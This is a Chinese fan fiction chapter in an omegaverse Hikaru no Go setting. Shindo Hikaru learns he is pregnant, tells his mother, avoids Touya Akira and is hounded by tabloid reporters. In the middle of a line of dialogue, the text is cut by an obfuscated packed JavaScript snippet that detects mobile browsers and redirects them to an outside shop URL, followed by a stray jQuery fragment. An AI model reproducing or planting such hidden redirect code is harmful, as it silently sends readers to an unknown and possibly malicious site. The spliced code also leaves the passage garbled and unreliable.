进藤光不知道自己是怎么从酒店后门离开的。
有人扶着他上了一辆车——大概是越智家的工作人员——然后是漫长的、令人眩晕的车程。窗外的东京街景模糊成一片灰蒙蒙的色块，霓虹灯的光晕在车窗上拖出长长的尾巴，像融化的糖果。
他闭着眼睛，把额头抵在冰凉的车窗玻璃上。
车在医院门口停下的时候，有人替他开了车门。他只记得自己反复说的一句话：“我没事，就是有点不舒服，可能是吃坏东西了。”
没有人相信他。
护士让他坐在候诊区的椅子上等。走廊里的灯光是惨白的，照得每一张脸都像褪了色的照片。进藤光垂着头，看着自己的手。
检查比想象中快得多——抽血、问诊，B超，然后是一个他不太明白的什么测试。医生是一个头发花白的女性，戴着眼镜，表情很温和，但进藤光总觉得她在看自己的时候，眼睛里有一种“我已经见过太多这样的年轻人”的平静。
不到半个小时，医生就告诉了他检查结果。
“不可能。”进藤光觉得自己大概是听错了，他的声音从喉咙里挤出来，“这怎么可能？当时那种情况……而且我是——”
“终身标记的过程中，当然有怀孕的可能。”医生的语气很温和，但也很确定，“你当时正处于发情期，而且终身标记本身就是生殖本能的最高表现形式——”
“别说了。”进藤光打断了她，声音几乎是气音。
他把脸埋进双手里，指尖是冰凉的，掌心却是滚烫的。
车在家门口停下的时候，他让工作人员先回去了。进藤美津子听到动静从屋里出来，看见儿子脸色苍白地站在玄关，吓了一跳。
进藤光直接往自己房间走，美津子在后面喊了几声，他也只是摆了摆手。
关上房门之后，进藤光靠着门板站了一会儿，然后慢慢地滑坐到地上。
一路上，手机都在口袋里疯狂震动。
他掏出来看了一眼——47条未接来电，138条未读消息。
屏幕上跳动着一些熟悉的名字，以及一堆他不认识的号码，区号有东京的、大阪的、名古屋的。
——他没有点开和塔矢亮的对话框。
他不敢。
他只是看到了一条来自塔矢亮的，刚跳出来的消息预览——“进藤，为什么一直不接电话，你在哪里？我现在过去！”
他没有点开，直接锁了屏幕。
又过了好一会，房门被敲响了。
“小光？你……现在饿不饿，要不要吃点什么？”
进藤美津子站在门外，小心翼翼地发问。
进藤光突然觉得鼻子发酸，他狠狠“嗯”了一声，随即站了起来，打开了房门。
“妈妈，”进藤光的声音很轻，“我有话和你说。”
美津子看着他不同寻常的脸色，整个人不由得有些紧张。她走过来，握住进藤光的手，发现他的手是冰凉的。
进藤光张了张嘴，发现要说的话卡在喉咙里，怎么都说不出来。他咽了一下口水，又咽了一下，终于从齿缝里挤出了声音。
“因为一些原因，今天我去医院做了检查。”进藤光垂着眼睛，随后深吸了一口气，把那句话说出了口。
“医生告诉我，我怀孕了，大约十二周。”
美津子的手僵住了。
十二周，三个月前，那不就是……
美津子脸上的表情从担忧变成震惊，从震惊变成茫然，从茫然变成一种进藤光看不懂的复杂情绪。她的嘴唇动了动，似乎想说什么，但最终什么都没说，只是慢慢地坐到了床边，把进藤光的手握得更紧了，然后轻轻地说：“先坐下来。”
进藤光被她拉到床边坐了下来。美津子坐在他旁边，沉默了很久。
窗外的夜风呼呼地吹着，把树枝的影子印在窗帘上，像一只巨大的、摇晃的手。
“是……那个孩子的？”她终于问。
进藤光没有说话，只是轻轻地点了点头。
美津子又沉默了一会儿，然后声音颤抖地说：“那……你打算怎么办？”
“我不知道。”进藤光的声音很小，此刻就像一个做错了事的孩子，“我真的不知道。”
美津子看着他的侧脸——那张脸比她记忆中瘦了一些，但下巴的线条比以前柔和了，带着一点婴儿肥的弧度。
正在这时，进藤光的手机又开始震动了。
这一次，进藤光拿起来看了。
屏幕上跳出的名字让他心脏猛地缩了一下——塔矢亮。
他没有接。
电话响了十几秒，然后断了。过了几秒，又响了。又断了。第三次响起的时候，进藤光按下了拒接键。
然后，他打开了和塔矢亮的line对话框，开始打字：
“塔矢，我需要一点时间。过段时间再见面，好吗？”
发完之后，他把手机翻过去扣在床上，屏幕朝下。
几乎是下一秒，手机就震动了。
他没有翻过来看。
“小光，”美津子开口了，“不管你怎么决定，妈妈都站在你这边。现在你先休息，好不好？”
进藤光点了点头，把脸转向窗户那一侧。
他盯着远处某一栋楼的灯光看了很久，直到那些光点变成模糊的光晕，直到视线被什么东西蒙住了。
他闭上眼睛，听见妈妈轻轻带上门的声音。
*
阳光从窗帘缝隙里挤进来，在床单上画出一道金色的线。进藤光迷迷糊糊地摸到手机，翻过来看了一眼。
屏幕上显示着32条新消息，18个未接来电。
他还没来得及看消息内容，手机就开始震动了。这一次，屏幕上显示的号码他不认识。
他犹豫了一下，按下了接听键。
“喂？”
“进藤三段吗？”电话那头是一个陌生的、带着职业化热情的声音，“我是《周刊围棋》的记者，请问您方便接受一个简短的采访吗？关于昨天记者会上发生的事情——”
“不方便。”进藤光挂断了电话。
手机还没放下，又响了，这次是另一个陌生号码。
“进藤光先生，我是《体育日本》的记者，请问您现在的身体状况如何？网上说您在记者会上——”
“不方便。”他又挂断了。
第三个电话打进来的时候，他没有接。第四个、第五个、第六个——他把手机调成静音，翻过去扣在床头柜上，被压在下面的屏幕亮光显得闷闷的，像有什么东西在桌面上垂死挣扎。
吃早饭的时候，和谷来了。
他推门进来的时候，手里提着一大袋水果和一个便利店的塑料袋，脸上挂着一种“我有很多问题想问但我不知道该不该问”的纠结表情。
“进藤，”他犹犹豫豫地问：“你……还好吗？”
“还好。”进藤光咬着筷子上的煎鸡蛋，含含糊糊地说。
和谷盯着他看了好一会儿。
“网上现在全是你的新闻。”他终于开口了，声音压得很低，“你知道吧？”
进藤光摇了摇头，说：“我没看。”
“别看了。”和谷立刻说，“都是些胡说八道的东西。”
进藤光把最后一口汤咽下去，放下筷子，看着和谷。
“他们说什么了？”
和谷的表情扭曲了一下，似乎在犹豫要不要说实话。最后，他还是把手机掏出来，点开了一个页面，递给进藤光。
屏幕上是一篇新闻，标题用加粗的字体写着：
【独家】无界杯冠军进藤光记者会上身体不适紧急送医，知情人士透露：系怀孕反应！
进藤光盯着那个标题，手指在屏幕边缘慢慢收紧了。
“这不是真的吧？”和谷小心翼翼地问，“我是说，他们肯定是在乱写对吧？”
进藤光没有说话，把手机还给了他。
和谷看着他的表情，神色渐渐凝重起来。
“进藤，”他的声音有点发抖，“你不会是真的——
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494724|202427||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
“和谷，”进藤光打断了他，声音很平静，“我现在不想说这个。”
和谷张了张嘴，又闭上了。他沉默了很久，最后只是点了点头，把手放在进藤光的肩膀上，轻轻拍了一下。
“那我不问了。”他说，“但你有什么事，随时找我。”
和谷走后，进藤光又打开自己的手机，找到了那篇新闻。
“怀孕反应”——这四个字像一根刺，扎在他的眼睛里。
他点开那篇文章，快速扫了一遍。内容里添油加醋地写着他在记者会上“脸色苍白、步履蹒跚、疑似孕吐”的细节，还引用了一位“不愿透露姓名的知情人”的说法，称进藤光“已经确认怀孕，目前正在医院接受观察”。
进藤光的拇指在屏幕上停了很久。
他注意到文章下面还有其他链接，点进去是另外的相关报道，他的照片出现在各大新闻网站的首页——穿着西装、脸色苍白、额头上全是汗，正从记者会台上匆匆离开。标题各不相同，但核心信息都一样：
【速报】无界杯冠军进藤光记者会上身体不适紧急退场
【传闻】进藤光三段疑似怀孕？记者会上出现孕吐反应
【围棋界震撼】最年少omega冠军的健康危机
他往下滑了滑，看见评论区。
“怀孕？真的假的？omega棋手怀孕了还参加比赛？”
“卧槽，怀着孕还能赢？这也太强了吧。”
“所以是……一个怀孕的omega，打败了一群alpha和beta，拿了冠军？”
“这么一说确实厉害啊……omega棋手的实力被严重低估了吧。”
“性别限制本来就没道理，人家怀着孕都能赢，还有什么好说的。”
“等等，我记得日本棋院现在还不让omega参加头衔战？这合理吗？”
“当然不合理。一个怀孕的omega都能赢无界杯，说明omega棋手的实力完全没有问题，限制性别根本就是歧视。”
评论区里的讨论，虽然说什么的都有，但几乎都认同了同一件事——
不应该限制参赛棋手的性别。
进藤光没有再往下看了。他把手机锁了屏，扔到床的另一头，整个人缩进被子里，把自己裹成一个茧。
手机在床的另一头亮着，一下又一下，像一只固执的、不肯离开的蜜蜂。
他闭上眼睛，把脸埋进枕头里。
下午的时候，又有一个电话打进来了。
这一次，进藤光鬼使神差地接了。
“进藤光先生？”电话那头是一个年轻的女声，语速很快，带着一种猎手发现猎物时的兴奋，“我是《东京体育报》的记者，请问您现在方便说几句吗？关于您的怀孕传闻——”
“不方便。”进藤光还是那句话。
“那请问您能确认一下传闻的真实性吗？您是否确实怀孕了？孩子的父亲是——”
“这和你有关系吗？”进藤光的声音突然拔高了，“我是不是怀孕了和你有什么关系？！”
电话那头沉默了一秒。
然后那个女声用一种更加兴奋的语调说：“进藤先生，您这是承认了吗？请问您对——”
进藤光挂断了电话，用力地、反复地按着挂断键，好像那个键是那个记者的脸。
他深呼吸了好几次，才把手从手机上移开。
第二天早上，那篇报道就出来了，标题比前一天更加耸人听闻：
【独家录音】进藤三段亲口承认怀孕！“和你有什么关系”——怀孕冠军怒怼记者，疑似情绪崩溃
文章里详细描述了通话过程，称进藤光“情绪激动、语无伦次”，“在记者问及怀孕传闻时，以‘我是不是怀孕了和你有什么关系’进行回应，实质上已承认传闻属实”。
文章还附了一段据称是通话录音的文字整理版，把进藤光那句气急败坏的话原原本本地印了出来。
消息在接下来的几个小时内，像病毒一样扩散开来。